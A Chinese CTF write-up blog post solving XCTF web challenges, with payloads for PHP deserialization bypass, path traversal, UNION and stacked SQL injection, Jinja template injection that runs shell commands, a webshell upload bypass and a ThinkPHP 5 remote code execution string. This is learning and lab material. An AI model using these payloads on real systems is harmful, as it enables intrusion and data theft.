您当前的位置: 首页 > 

ThnPkm

暂无认证

  • 1浏览

    0关注

    98博文

    0收益

  • 0浏览

    0点赞

    0打赏

    0留言

私信
关注
热门博文

攻防世界 web进阶区1

ThnPkm 发布时间:2022-07-13 17:27:34 ,浏览量:1

目录

baby_web

Training-WWW-Robots

PHP2

unserialize3

 Web_php_unserialize

Web_php_include

warmup

ics-06

NewsCenter

upload1

supersqli 

Web_python_template_injection

NaNNaNNaNNaN-Batman

php_rce

web2

baby_web

题目描述:想想初始页面是哪个

那第一感觉就是index.php 然后在url里面输入后直接跳转到1.php,所以抓包试试,就出了

Training-WWW-Robots

直接查看robots协议

 

PHP2

上来就这个 ,啥也没有

信息收集, 后缀index.phps ,出现源码

第一个 if 如果成立的话就要退出来,显然我们要让第一个 if 不成立,就是不能上传一个变量id=admin,但是我们要让上传的这个变量id经过url解码之后等于admin,而且我们知道在当传入参数id时,浏览器在后面会对非ASCII码的字符进行一次urlencode(编码),运行时会自动进行一次urldecode(解码) 所以我们要上传的admin必须要进行两次URL编码

找个能编码的网站真费尽啊

unserialize3
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
?code=

攻防世界unserialize3题解_黑锤的博客-CSDN博客_攻防世界unserialize3

此文章讲的很明白,学习了一波 

__wakeup()执行漏洞:一个字符串或对象被序列化后,如果其属性被修改,则不会执行__wakeup()函数,这也是一个绕过点。

这个是解决咱们这道题的重点了

思路就出来了,将这个对象进行序列化传值,修改其属性这样就可以进行绕过__wakeup了)

当被反序列化的字符串其中对应的对象的属性个数发生变化时,会导致反序列化失败而同时使得_wakeup()函数失效,就是问题的关键所在。所以对其进行修改:

O:4:"xctf":2:{s:4:"flag";s:3:"111";}  修改属性个数
payload:
http://111.200.241.244:51023/?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}

这道题是绕过__wakeup()函数,利用的也算是反序列化的知识:当被反序列化的字符串其中对应的对象的属性个数发生变化时,会导致反序列化失败而同时__wakeup也会失效,如果这里我不对其属性的改变,也就是不将1改为2,那么返回的东西是什么呢?

很简单,当然是立即调用__wakeup()函数可想而知返回的就是bad requests.

 Web_php_unserialize

还是跟着大佬学习,写的很好

攻防世界-Web_php_unserialize详解_Mr_helloword的博客-CSDN博客

直接大写绕过php ,用input

warmup

在buu学习了一次了跟着wp复现了,这次自己复现

mb_strpos()

 逻辑搞清楚 ,这段代码其实就是 $_page=$page ,urlencode后也是如此

 $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );

也就是满足 传入的$file在whitelist里 ,也就是 source.php或者hint.php,代码会一直true下去

配合hint的内容 

 构造payload

/?file=hint.php%253f../../../../../../../ffffllllaaaagggg
         %253f 是?的 两次url编码

/?file=hint.php?../../../../../../../ffffllllaaaagggg

ics-06

只有这个页面能操作,get了一个id=1 ,然后这就是直接爆破出来

NewsCenter

尝试一下sql注入,看见这个稳了一半了

 常规注入

1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='news')#

1' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='secret_table')#

1' union select 1,2,(select group_concat(fl4g) from news.secret_table)#

upload1

只是前端限制必须上传jpg ,png 

抓包修改后缀成php 连蚁剑

supersqli 

[强网杯 2019]随便注 1 - ZM思 - 博客园

就是强网杯随便住

过滤了一众关键词,使用堆叠注入查看表名

-1';show databases;# 

-1';show tables;#

 

 先把words表名改为其他名,再把1919810931114514表名改为words,但是其中还缺少id列,因此可以添加一个id列或者吧flag改为id,这样这个表就成为了默认查询表,

1';rename tables `words` to `words1`;rename tables `1919810931114514` to `words`; alter table `words` change `flag` `id` varchar(100);#

输入 1' oi 1=1 # 就查出来了

Web_python_template_injection

题目python大概就是SSTI

没有看到注入点,这题直接放url后面就行

放两个可以用的payload 

{{ config.__class__.__init__.__globals__['os'].popen('cat fl4g').read() }} 
{{''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('ls').read()}}

NaNNaNNaNNaN-Batman

是一个附件,一段js乱码

 复制这一部分去控制台运行,然后就可以继续美化,

function $() {
	var e = document.getElementById("c")
		.value;
	if (e.length == 16)
		if (e.match(/^be0f23/) != null)
			if (e.match(/233ac/) != null)
				if (e.match(/e98aa$/) != null)
					if (e.match(/c7be9/) != null) {
						var t = ["fl", "s_a", "i", "e}"];
						var n = ["a", "_h0l", "n"];
						var r = ["g{", "e", "_0"];
						var i = ["it'", "_", "n"];
						var s = [t, n, r, i];
						for (var o = 0; o < 13; ++o) {
							document.write(s[o % 4][0]);
							s[o % 4].splice(0, 1)
						}
					}
}
document.write('Ok');
delete _

逻辑就是构造变量e: be0f23开头,中间要匹配到233ac和c7be9,结尾要有e98aa

而且长度限制16

那就可以是be0f233ac7be98aa ,后面的代码也看球不懂

将下载的附件保存为html 就出现了一个提交表单

提交构造好的e就可了

php_rce

 ThinkPHP V5,直接github有payload ,拿来用 

GitHub - SkyBlueEternal/thinkphp-RCE-POC-Collection: thinkphp v5.x 远程代码执行漏洞-POC集合

 

 这个可以打通,直接ls查目录 rce即可

http://61.147.171.105:60397?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=tac /flag

 

web2

纯加密逻辑,把$miwen先rot13再翻转再base64decode,处理一下得到$_o

按照循环逻辑 反向来一遍即可

$_o = "~88:36e1bg8438e41757d:29cgeb6e48c`GUDTO|;hbmg";

for($_0=strlen($_o)-1;$_0>=0;$_0--){
    $_c=substr($_o,$_0,1);
    $__=ord($_c)-1;
    $_c=chr($__);
    $_=$_.$_c;
}
echo $_;

关注
打赏
1660722558
查看更多评论
立即登录/注册

微信扫码登录

0.0387s